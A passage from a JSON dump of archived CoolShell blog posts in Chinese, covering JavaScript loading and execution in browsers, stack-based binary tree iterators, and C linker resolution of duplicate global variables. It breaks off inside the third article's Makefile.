    "content": "<html><body><p><img alt=\"\" class=\"alignright wp-image-9778\" height=\"225\" src=\"../wp-content/uploads/2013/06/javascript.jpg\" width=\"300\"/>一两个月前在淘宝内网里看到一个优化Javascript代码的竞赛，发现有不少的人对Javascript的执行和装载的基础并不懂，所以，从那天起我就想写一篇文章，但一直耽搁了。自上篇《<a href=\"https://coolshell.cn/articles/9666.html\" target=\"_blank\" title=\"浏览器的渲染原理简介\">浏览器渲染原理简介</a>》，正好也可以承前启后。</p>\n<p>首先，我想说一下Javascript的装载和执行。通常来说，浏览器对于Javascript的运行有两大特性：<strong>1）载入后马上执行，2）执行时会阻塞页面后续的内容（包括页面的渲染、其它资源的下载）</strong>。于是，如果有多个js文件被引入，那么对于浏览器来说，这些js文件被被串行地载入，并依次执行。</p>\n<p>因为javascript可能会来操作HTML文档的DOM树，所以，浏览器一般都不会像并行下载css文件并行下载js文件，因为这是js文件的特殊性造成的。所以，如果你的javascript想操作后面的DOM元素，基本上来说，浏览器都会报错说对象找不到。因为Javascript执行时，后面的HTML被阻塞住了，DOM树时还没有后面的DOM结点。所以程序也就报错了。</p>\n<h4>传统的方式</h4>\n<p>所以，当你写在代码中写下如下的代码：</p>\n<pre class=\"EnlighterJSRAW\">&lt;script type=\"text/javascript\"\n        src=\"https://coolshell.cn/asyncjs/alert.js\"&gt;&lt;/script&gt;</pre>\n<p><span id=\"more-9749\"></span></p>\n<p>基本上来说，head里的 &lt;script&gt;标签会阻塞后续资源的载入以及整个页面的生成。我专门做了一个示例你可以看看：<strong><a href=\"https://coolshell.cn/asyncjs/async_test01.html\" target=\"_blank\">示例一</a></strong>。 注意：我的alert.js中只有一句话：alert(“hello world”) ，这更容易让你看到javascript是怎么阻塞后面的东西的。</p>\n<p>所以，你知道为什么有很多网站把javascript放在网页的最后面了，要么就是动用了window.onload或是docmuemt ready之类的事件。</p>\n<p>另外，因为绝大多数的Javascript代码并不需要等页面，所以，我们异步载入的功能。那么我们怎么异步载入呢？</p>\n<h4>document.write方式</h4>\n<p>于是，你可能以为document.write()这种方式能够解决不阻塞的方式。你当然会觉得，document.write了的&lt;script&gt;标签后就可以执行后面的东西去了，这没错。对于在同一个script标签里的Javascript的代码来说，是这样的，但是对于整个页面来说，这个还是会阻塞。 下面是一段测试代码：</p>\n<pre class=\"EnlighterJSRAW\">&lt;script type=\"text/javascript\" language=\"javascript\"&gt;\n    function loadjs(script_filename) {\n        document.write('&lt;' + 'script language=\"javascript\" type=\"text/javascript\"');\n        document.write(' src=\"' + script_filename + '\"&gt;');\n        document.write('&lt;'+'/script'+'&gt;');\n        alert(\"loadjs() exit...\");\n    }\n\n    var script = 'https://coolshell.cn/asyncjs/alert.js';\n\n    loadjs(script);\n    alert(\"loadjs() finished!\");\n&lt;/script&gt;\n\n&lt;script type=\"text/javascript\" language=\"javascript\"&gt;\n   alert(\"another block\");\n&lt;/script&gt;</pre>\n<p>你觉得alert的顺序是什么？你可以在不同的浏览器里试一试。这里的想关的测试页面：<strong><a href=\"https://coolshell.cn/asyncjs/async_test02.html\" target=\"_blank\">示例二</a></strong>。</p>\n<h4>script的defer和async属性</h4>\n<p>IE自从IE6就支持defer标签，如：</p>\n<pre class=\"EnlighterJSRAW\">&lt;script defer type=\"text/javascript\" src=\"./alert.js\" &gt;\n&lt;/script&gt;</pre>\n<p>对于IE来说，这个标签会让IE并行下载js文件，并且把其执行hold到了整个DOM装载完毕（DOMContentLoaded），多个defer的&lt;script&gt;在执行时也会按照其出现的顺序来运行。最重要的是&lt;script&gt;被加上defer后，其不会阻塞后续DOM的的渲染。但是因为这个defer只是IE专用，所以一般用得比较少。</p>\n<p>而我们标准的的HTML5也加入了一个异步载入javascript的属性：async，无论你对它赋什么样的值，只要它出现，它就开始异步加载js文件。但是， async的异步加载会有一个比较严重的问题，那就是它忠实地践行着“载入后马上执行”这条军规，所以，虽然它并不阻塞页面的渲染，但是你也无法控制他执行的次序和时机。你可以<a href=\"https://coolshell.cn/asyncjs/async_test01.async.html\" target=\"_blank\">看看这个示例去感受一下</a>。</p>\n<p>支持 async标签的浏览器是：Firefox3.6+，Chrome 8.0+，Safari 5.0+，IE 10+，Opera还不支持（<a href=\"http://caniuse.com/#feat=script-async\" target=\"_blank\">来自这里</a>）所以这个方法也不是太好。因为并不是所有的浏览器你都能行。</p>\n<h4>动态创建DOM方式</h4>\n<p>这种方式可能是用得最多的了。</p>\n<pre class=\"EnlighterJSRAW\">\nfunction loadjs(script_filename) {\n    var script = document.createElement('script');\n    script.setAttribute('type', 'text/javascript');\n    script.setAttribute('src', script_filename);\n    script.setAttribute('id', 'coolshell_script_id');\n\n    script_id = document.getElementById('coolshell_script_id');\n    if(script_id){\n        document.getElementsByTagName('head')[0].removeChild(script_id);\n    }\n    document.getElementsByTagName('head')[0].appendChild(script);\n}\n\nvar script = 'https://coolshell.cn/asyncjs/alert.js';\nloadjs(script);\n</pre>\n<p>这个方式几乎成了标准的异步载入js文件的方式，这个方式的演示请参看：<strong><a href=\"https://coolshell.cn/asyncjs/async_test03.html\" target=\"_blank\">示例三</a></strong>。这方式还被玩出了JSONP的东东，也就是我可以为script的src指定某个后台的脚本（如PHP），而这个PHP返回一个javascript函数，其参数是一个json的字符串，返回来调用我们的预先定义好的javascript的函数。你可以看一下这个示例：<a href=\"https://coolshell.cn/t.js\" target=\"_blank\">t.js</a> （这个示例是我之前在微博征集的<a href=\"https://coolshell.cn/t.html\" target=\"_blank\">一个异步ajax调用的小例子</a>）<strong><br/>\n</strong></p>\n<h4>按需异步载入js</h4>\n<p>上面那个DOM方式的例子解决了异步载入Javascript的问题，但是没有解决我们想让他按我们指定的时机运行的问题。所以，我们只需要把上面那个DOM方式绑到某个事件上来就可以了。</p>\n<p>比如：</p>\n<p><strong>绑在window.load事件上</strong>——<strong><a href=\"https://coolshell.cn/asyncjs/async_test04.html\" target=\"_blank\">示例四</a> </strong></p>\n<p><strong></strong>你一定要比较一下示例四和示例三在执行上有什么不同，我在这两个示例中都专门用了个代码高亮的javascript，看看那个代码高亮的的脚本的执行和我的alert.js的执行的情况，你就知道不同了）</p>\n<p><code class=\"EnlighterJSRAW\">window.load = loadjs(\"https://coolshell.cn/asyncjs/alert.js\")</code></p>\n<p><strong>绑在特定的事件上</strong>——<strong><a href=\"https://coolshell.cn/asyncjs/async_test05.html\" target=\"_blank\">示例五</a></strong></p>\n<p><code class=\"EnlighterJSRAW\">&lt;p style=\"cursor: pointer\" onclick=\"LoadJS()\"&gt;Click to load alert.js &lt;/p&gt;</code></p>\n<p>这个示例很简单了。当你点击某个DOM元素，才会真正载入我们的alert.js。</p>\n<h4>更多</h4>\n<p>但是，绑定在某个特定事件上这个事似乎又过了一点，因为只有在点击的时候才会去真正的下载js，这又会太慢了了。好了，到这里，要抛出我们的终极问题——<strong>我们想要异步地把js文件下载到用户的本地，但是不执行，仅当在我们想要执行的时候去执行</strong>。</p>\n<p>要是我们有下面这样的方式就好了：</p>\n<pre class=\"EnlighterJSRAW\">var script = document.createElement(\"script\");\nscript.noexecute = true;\nscript.src = \"alert.js\";\ndocument.body.appendChild(script);\n\n//后面我们可以这么干\nscript.execute();</pre>\n<p>可惜的是，这只是一个美丽的梦想，今天我们的Javascript还比较原始，这个“JS梦”还没有实现呢。</p>\n<p>所以，我们的程序员只能使用hack的方式来搞。</p>\n<p>有的程序员使用了非标准的script的type来cache javascript。如：</p>\n<p><code class=\"EnlighterJSRAW\">&lt;script type=cache/script src=\"./alert.js\"&gt;&lt;/script&gt;</code></p>\n<p>因为”cache/script”，这个东西根本就不能被浏览器解析，所以浏览器也就不能把alert.js当javascript去执行，但是他又要去下载js文件，所以就可以搞定了。可惜的是，webkit严格符从了HTML的标准——对于这种不认识的东西，直接删除，什么也不干。于是，我们的梦又破了。</p>\n<p>所以，我们需要再hack一下，就像N多年前玩preload图片那样，我们可以动用object标签（也可以动用iframe标签），于是我们有下面这样的代码：</p>\n<pre class=\"EnlighterJSRAW\">    function cachejs(script_filename){\n        var cache = document.createElement('object');\n        cache.data = script_filename;\n        cache.id = \"coolshell_script_cache_id\";\n        cache.width = 0;\n        cache.height = 0;\n        document.body.appendChild(cache);\n    }</pre>\n<p>然后，我们在的最后调用一下这个函数。请参看一下相关的示例：<strong><a href=\"https://coolshell.cn/asyncjs/async_test06.html\" target=\"_blank\">示例六</a></strong></p>\n<p>在Chrome下按 Ctrl+Shit+I，切换到network页，你就可以看到下载了alert.js但是没有执行，然后我们再用示例五的方式，因为浏览器端有缓存了，不会再从服务器上下载alert.js了。所以，就能保证执行速度了。</p>\n<p>关于这种preload这种东西你应该不会陌生了。你还可以使用Ajax的方式，如：</p>\n<pre class=\"EnlighterJSRAW\">var xhr = new XMLHttpRequest();\nxhr.open('GET', 'new.js');\nxhr.send('');</pre>\n<p>到这里我就不再多说了，也不给示例了，大家可以自己试试去。</p>\n<p>最后再提两个js，一个是<a href=\"http://stevesouders.com/controljs/\" target=\"_blank\">ControlJS</a>，一个叫<a href=\"http://headjs.com/\" target=\"_blank\">HeadJS</a>，专门用来做异步load javascript文件的。</p>\n<p>好了，这是所有的内容了，希望大家看过后能对Javascript的载入和执行，以及相关的技术有个了解。<strong>同时，也希望各前端高手不吝赐教！</strong></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8170.html\"><img alt=\"一次Ajax查错的经历\" height=\"150\" src=\"../wp-content/uploads/2012/08/ajax_error-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8170.html\">一次Ajax查错的经历</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6043.html\"><img alt=\"Web开发中需要了解的东西\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6043.html\">Web开发中需要了解的东西</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5537.html\"><img alt=\"一些文章资源和趣闻\" height=\"150\" src=\"../wp-content/uploads/2011/11/stackparts.com_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5537.html\">一些文章资源和趣闻</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4795.html\"><img alt=\"开源中最好的Web开发的资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4795.html\">开源中最好的Web开发的资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/9749.html\">Javascript 装载和执行</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2013-7-14 二叉树迭代器算法.html",
    "content": "<html><body><p><strong>（感谢 </strong><a href=\"http://weibo.com/weidagang\" target=\"_blank\">@文艺复兴记</a><strong>（todd） 投递此文）</strong></p>\n<p>二叉树(Binary Tree)的前序、中序和后续遍历是算法和数据结构中的基本问题，基于递归的二叉树遍历算法更是递归的经典应用。</p>\n<p>假设二叉树结点定义如下：</p>\n<pre class=\"EnlighterJSRAW\">\n// C++\nstruct Node {\n    int value;\n    Node *left;\n    Node *right;\n}\n</pre>\n<p>中序递归遍历算法：</p>\n<pre class=\"EnlighterJSRAW\">\n// C++\nvoid inorder_traverse(Node *node) {\n    if (NULL != node-&gt;left) {\n        inorder_traverse(node-&gt;left);\n    }\n    do_something(node);\n    if (NULL != node-&gt;right) {\n        inorder_traverse(node-&gt;right);\n    }\n}\n</pre>\n<p>前序和后序遍历算法类似。</p>\n<p>但是，仅有遍历算法是不够的，在许多应用中，我们还需要对遍历本身进行抽象。假如有一个求和的函数sum，我们希望它能应用于链表，数组，二叉树等等不同的数据结构。这时，我们可以抽象出迭代器(Iterator)的概念，通过<strong>迭代器把算法和数据结构解耦了</strong>，使得通用算法能应用于不同类型的数据结构。我们可以把sum函数定义为：</p>\n<p><span id=\"more-9886\"></span></p>\n<pre class=\"EnlighterJSRAW\">\nint sum(Iterator it)\n</pre>\n<p>链表作为一种线性结构，它的迭代器实现非常简单和直观，而二叉树的迭代器实现则不那么容易，我们不能直接将递归遍历转换为迭代器。究其原因，这是因为二叉树递归遍历过程是编译器在调用栈上自动进行的，程序员对这个过程缺乏足够的控制。既然如此，那么我们如果可以自己来控制整个调用栈的进栈和出栈不是就达到控制的目的了吗？我们先来看看二叉树遍历的非递归算法：</p>\n<pre class=\"EnlighterJSRAW\">\n// C++\nvoid inorder_traverse_nonrecursive(Node *node) {\n    Stack stack;\n    do {\n        // node代表当前准备处理的子树，层层向下把左孩子压栈，对应递归算法的左子树递归\n        while (NULL != node) {\n            stack.push(node);\n            node = node-&gt;left;\n        }\n        do {\n            Node *top = stack.top();\n            stack.pop(); //弹出栈顶，对应递归算法的函数返回\n            do_something(top);\n            if (NULL != top-&gt;right) {\n                node = top-&gt;right; //将当前子树置为刚刚遍历过的结点的右孩子，对应递归算法的右子树递归\n                break;\n            }\n        }\n        while (!stack.empty());\n    }\n    while (!stack.empty());\n}\n</pre>\n<p>通过基于栈的非递归算法我们获得了对于遍历过程的控制，下面我们考虑如何将其封装为迭代器呢？ 这里关键在于理解遍历的过程是由栈的状态来表示的，所以显然迭代器内部应该包含一个栈结构，每次迭代的过程就是对栈的操作。假设迭代器的接口为：</p>\n<pre class=\"EnlighterJSRAW\">\n// C++\nclass Iterator {\n    public:\n        virtual Node* next() = 0;\n};\n</pre>\n<p>下面是一个二叉树中序遍历迭代器的实现：</p>\n<pre class=\"EnlighterJSRAW\">\n//C++\nclass InorderIterator : public Iterator {\n    public:\n        InorderIterator(Node *node) {\n            Node *current = node;\n            while (NULL != current) {\n                mStack.push(current);\n                current = current-&gt;left;\n            }\n        }\n        virtual Node* next() {\n            if (mStack.empty()) {\n                return NULL;\n            }\n            Node *top = mStack.top();\n            mStack.pop();\n            if (NULL != top-&gt;right) {\n                Node *current = top-&gt;right;\n                while (NULL != current) {\n                    mStack.push(current);\n                    current = current-&gt;left;\n                }\n            }\n            return top;\n         }\n    private:\n        std::stack&lt;Node*&gt; mStack;\n};\n</pre>\n<p>下面我们再来考察一下这个迭代器实现的时间和空间复杂度。很显然，由于栈中最多需要保存所有的结点，所以其空间复杂度是O(n)的。那么时间复杂度呢？一次next()调用也最多会进行n次栈操作，而整个遍历过程需要调用n次next()，那么是不是整个迭代器的时间复杂度就是O(n^2)呢？答案是否定的！因为每个结点只会进栈和出栈一次，所以整个迭代过程的时间复杂度依然为O(n)。其实，这和递归遍历的时空复杂度完全一样。</p>\n<p>除了上面显式利用栈控制代码执行顺序外，在支持yield语义的语言（C#, Python等)中，还有更为直接的做法。下面基于yield的二叉树中序遍历的Python实现：</p>\n<pre class=\"EnlighterJSRAW\">\n// Python\ndef inorder(t):\n    if t:\n        for x in inorder(t.left):\n            yield x\n        yield t.label\n        for x in inorder(t.right):\n            yield x\n</pre>\n<p>yield与return区别的一种通俗解释是yield返回时系统会保留函数调用的状态，下次该函数被调用时会接着从上次的执行点继续执行，这是一种与栈语义所完全不同的流程控制语义。我们知道Python的解释器是C写的，但是C并不支持yield语义，那么解释器是如何做到对yield的支持的呢？ 有了上面把递归遍历变换为迭代遍历的经验，相信你已经猜到Python解释器一定是对yield代码进行了某种变换。如果你已经能够实现递归变非递归，不妨尝试一下能否写一段编译程序将yield代码变换为非yield代码。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8239.html\"><img alt=\"无锁队列的实现\" height=\"150\" src=\"../wp-content/uploads/2012/09/lock_free_bicycle-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8239.html\">无锁队列的实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6010.html\"><img alt=\"一些有意思的算法代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6010.html\">一些有意思的算法代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4220.html\"><img alt=\"一些有意思的文章和资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4220.html\">一些有意思的文章和资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3738.html\"><img alt=\"打印质数的各种算法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3738.html\">打印质数的各种算法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/9886.html\">二叉树迭代器算法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2013-7-21 C语言全局变量那些事儿.html",
    "content": "<html><body><p><strong>（感谢网友 </strong><a href=\"http://weibo.com/fullofbull\" target=\"_blank\"><strong>@我的上铺叫路遥</strong></a><strong> 投稿）</strong></p>\n<p>作为一名程序员，如果说沉迷一门编程语言算作一种乐趣的话，那么与此同时反过来去黑一门编程语言就是这种乐趣的升华。今天我们就来黑一把C语言，好好展示一下这门经典语言令人抓狂的一面。</p>\n<p>我们知道，全局变量是C语言语法和语义中一个很重要的知识点，首先它的存在意义需要从三个不同角度去理解：对于程序员来说，它是一个记录内容的<strong>变量(variable)</strong>；对于编译/链接器来说，它是一个需要解析的<strong>符号(symbol)</strong>；对于计算机来说，它可能是具有地址的一块<strong>内存(memory)</strong>。其次是语法/语义：从作用域上看，带static关键字的全局变量范围只能限定在文件里，否则会外联到整个模块和项目中；从生存期来看，它是静态的，贯穿整个程序或模块运行期间（<span style=\"color: #ff0000;\"><strong>注意，正是跨单元访问和持续生存周期这两个特点使得全局变量往往成为一段受攻击代码的突破口，了解这一点十分重要</strong></span>）；从空间分配上看，定义且初始化的全局变量在编译时在数据段(.data)分配空间，定义但未初始化的全局变量<strong>暂存(tentative definition)</strong>在.bss段，编译时自动清零，而仅仅是声明的全局变量只能算个符号，寄存在编译器的符号表内，不会分配空间，直到链接或者运行时再重定向到相应的地址上。</p>\n<p>我们将向您展现一下，<strong>非static限定全局变量</strong>在编译/链接以及程序运行时会发生哪些有趣的事情，顺便可以对C编译器/链接器的解析原理管中窥豹。以下示例对ANSI C和GNU C标准都有效，笔者的编译环境是Ubuntu下的GCC-4.4.3。</p>\n<p><span id=\"more-10115\"></span></p>\n<h4>第一个例子</h4>\n<pre class=\"EnlighterJSRAW\">/* t.h */\n#ifndef _H_\n#define _H_\nint a;\n#endif\n\n/* foo.c */\n#include &lt;stdio.h&gt;\n#include \"t.h\"\n\nstruct {\n   char a;\n   int b;\n} b = { 2, 4 };\n\nint main();\n\nvoid foo()\n{\n    printf(\"foo:\\t(&amp;a)=0x%08x\\n\\t(&amp;b)=0x%08x\\n\n        \\tsizeof(b)=%d\\n\\tb.a=%d\\n\\tb.b=%d\\n\\tmain:0x%08x\\n\",\n        &amp;a, &amp;b, sizeof b, b.a, b.b, main);\n}\n\n/* main.c */\n#include &lt;stdio.h&gt;\n#include \"t.h\"\n\nint b;\nint c;\n\nint main()\n{\n    foo();\n    printf(\"main:\\t(&amp;a)=0x%08x\\n\\t(&amp;b)=0x%08x\\n\n        \\t(&amp;c)=0x%08x\\n\\tsize(b)=%d\\n\\tb=%d\\n\\tc=%d\\n\",\n        &amp;a, &amp;b, &amp;c, sizeof b, b, c);\n\treturn 0;\n}\n</pre>\n<p>Makefile如下：</p>\n<pre class=\"EnlighterJSRAW\">\ntest: main.o foo.o\n\tgcc -o test main.o foo.o\n\nmain.o: main.c\nfoo.o: foo.c\n\nclean:\n\trm *.o test\n</pre>\n<p>运行情况：</p>\n<pre class=\"EnlighterJSRAW\">\nfoo:\t(&amp;a)=0x0804a024\n\t(&amp;b)=0x0804a014\n\tsizeof(b)=8\n\tb.a=2\n\tb.b=4\n\tmain:0x080483e4\nmain:\t(&amp;a)=0x0804a024\n\t(&amp;b)=0x0804a014\n\t(&amp;c)=0x0804a028\n\tsize(b)=4\n\tb=2\n\tc=0\n</pre>\n<p>这个项目里我们定义了四个全局变量，t.h头文件定义了一个整型a，main.c里定义了两个整型b和c并且未初始化，foo.c里定义了一个初始化了的结构体，还定义了一个main的函数指针变量。由于C语言每个源文件单独编译，所以t.h分别包含了两次，所以int a就被定义了两次。两个源文件里变量b和函数指针变量main被重复定义了，实际上可以看做代码段的地址。但编译器并未报错，只给出一条警告：</p>\n<p><code class=\"EnlighterJSRAW\">/usr/bin/ld: Warning: size of symbol 'b' changed from 4 in main.o to 8 in foo.o</code></p>\n<p>运行程序发现，main.c打印中b大小是4个字节，而foo.c是8个字节，因为sizeof关键字是编译时决议，而源文件中对b类型定义不一样。但令人惊奇的是无论是在main.c还是foo.c中，a和b都是相同的地址，也就是说，a和b被定义了两次，b还是不同类型，但内存映像中只有一份拷贝。我们还看到，main.c中b的值居然就是foo.c中结构体第一个成员变量b.a的值，这证实了前面的推断——<strong>即便存在多次定义，内存中只有一份初始化的拷贝。</strong>另外在这里c是置身事外的一个独立变量。</p>\n<p>为何会这样呢？这涉及到<strong>C编译器对多重定义的全局符号的解析和链接。</strong>在编译阶段，编译器将全局符号信息隐含地编码在可重定位目标文件的符号表里。这里有个<strong>“强符号(strong)”</strong>和<strong>“弱符号(weak)”</strong>的概念——前者指的是定义并且初始化了的变量，比如foo.c里的结构体b，后者指的是未定义或者定义但未初始化的变量，比如main.c里的整型b和c，还有两个源文件都包含头文件里的a。当符号被多重定义时，GNU链接器(ld)使用以下规则决议：</p>\n<ul>\n<li>不允许出现多个相同强符号。</li>\n</ul>\n<ul>\n<li>如果有一个强符号和多个弱符号，则选择强符号。</li>\n</ul>\n<ul>\n<li>如果有多个弱符号，那么先决议到size最大的那个，如果同样大小，则按照链接顺序选择第一个。</li>\n</ul>\n<p>像上面这个例子中，全局变量a和b存在重复定义。如果我们将main.c中的b初始化赋值，那么就存在两个强符号而违反了规则一，编译器报错。如果满足规则二，则仅仅提出警告，实际运行时决议的是foo.c中的强符号。而变量a都是弱符号，所以只选择一个（按照目标文件链接时的顺序）。</p>\n<p>事实上，这种规则是C语言里的一个大坑，编译器对这种全局变量多重定义的“纵容”很可能会无端修改某个变量，导致程序不确定行为。如果你还没有意识到事态严重性，我再举个例子。</p>\n<h4>第二个例子</h4>\n<pre class=\"EnlighterJSRAW\">/* foo.c */\n#include &lt;stdio.h&gt;;\n\nstruct {\n    int a;\n    int b;\n} b = { 2, 4 };\n\nint main();\n\nvoid foo()\n{\n    printf(\"foo:\\t(&amp;b)=0x%08x\\n\\tsizeof(b)=%d\\n\n        \\tb.a=%d\\n\\tb.b=%d\\n\\tmain:0x%08x\\n\",\n        &amp;b, sizeof b, b.a, b.b, main);\n}\n\n/* main.c */\n#include &lt;stdio.h&gt;\n\nint b;\nint c;\n\nint main()\n{\n    if (0 == fork()) {\n        sleep(1);\n        b = 1;\n        printf(\"child:\\tsleep(1)\\n\\t(&amp;b):0x%08x\\n\n            \\t(&amp;c)=0x%08x\\n\\tsizeof(b)=%d\\n\\tset b=%d\\n\\tc=%d\\n\",\n            &amp;b, &amp;c, sizeof b, b, c);\n        foo();\n    } else {\n        foo();\n        printf(\"parent:\\t(&amp;b)=0x%08x\\n\\t(&amp;c)=0x%08x\\n\n            \\tsizeof(b)=%d\\n\\tb=%d\\n\\tc=%d\\n\\twait child...\\n\",\n            &amp;b, &amp;c, sizeof b, b, c);\n        wait(-1);\n        printf(\"parent:\\tchild over\\n\\t(&amp;b)=0x%08x\\n\n            \\t(&amp;c)=0x%08x\\n\\tsizeof(b)=%d\\n\\tb=%d\\n\\tc=%d\\n\",\n            &amp;b, &amp;c, sizeof b, b, c);\n    }\n    return 0;\n}</pre>\n<p>运行情况如下：</p>\n<pre class=\"EnlighterJSRAW\">\nfoo:\t(&amp;b)=0x0804a020\n\tsizeof(b)=8\n\tb.a=2\n\tb.b=4\n\tmain:0x080484c8\nparent:\t(&amp;b)=0x0804a020\n\t(&amp;c)=0x0804a034\n\tsizeof(b)=4\n\tb=2\n\tc=0\n\twait child...\nchild:\tsleep(1)\n\t(&amp;b):0x0804a020\n\t(&amp;c)=0x0804a034\n\tsizeof(b)=4\n\tset b=1\n\tc=0\nfoo:\t(&amp;b)=0x0804a020\n\tsizeof(b)=8\n\tb.a=1\n\tb.b=4\n\tmain:0x080484c8\nparent:\tchild over\n\t(&amp;b)=0x0804a020\n\t(&amp;c)=0x0804a034\n\tsizeof(b)=4\n\tb=2\n\tc=0\n</pre>\n<p>（说明一点，运行情况是直接输出到stdout的打印，笔者曾经将./test输出重定向到log中，结果发现打印的执行序列不一致，所以采用默认输出。）</p>\n<p>这是一个<strong>多进程环境</strong>，首先我们看到无论父进程还是子进程，main.c还是foo.c，全局变量b和c的地址仍然是一致的（当然只是个<strong>逻辑地址</strong>），而且对b的大小不同模块仍然有不同的决议。这里值得注意的是，我们在子进程中对变量b进行赋值动作，从此子进程本身包括foo()调用中，整型b以及结构体成员b.a的值都是1，而父进程中整型b和结构体成员b.a的值仍是2，但它们显示的逻辑地址仍是一致的。</p>\n<p>个人认为可以这样解释，fork创建新进程时，子进程获得了父进程上下文“镜像”（自然包括全局变量），虚拟地址相同但属于不同的进程空间，而且此时真正映射的物理地址中只有一份拷贝，所以b的值是相同的（都是2）。随后子进程对b改写，触发了操作系统的<strong>写时拷贝(copy on write)</strong>机制，这时物理内存中才产生真正的两份拷贝，分别映射到不同进程空间的虚拟地址上，但虚拟地址的值本身仍然不变，这对于应用程序来说是透明的，具有隐瞒性。</p>\n<p>还有一点值得注意，这个示例编译时没有出现第一个示例的警告，即对变量b的sizeof决议，笔者也不知道为什么，或许是GCC的一个bug？</p>\n<h4>第三个例子</h4>\n<p>这个例子代码同上一个一致，只不过我们将foo.c做成一个静态链接库libfoo.a进行链接，这里只给出Makefile的改动。</p>\n<pre class=\"EnlighterJSRAW\">\ntest: main.o foo.o\n\tar rcs libfoo.a foo.o\n\tgcc -static -o test main.o libfoo.a\n\nmain.o: main.c\nfoo.o: 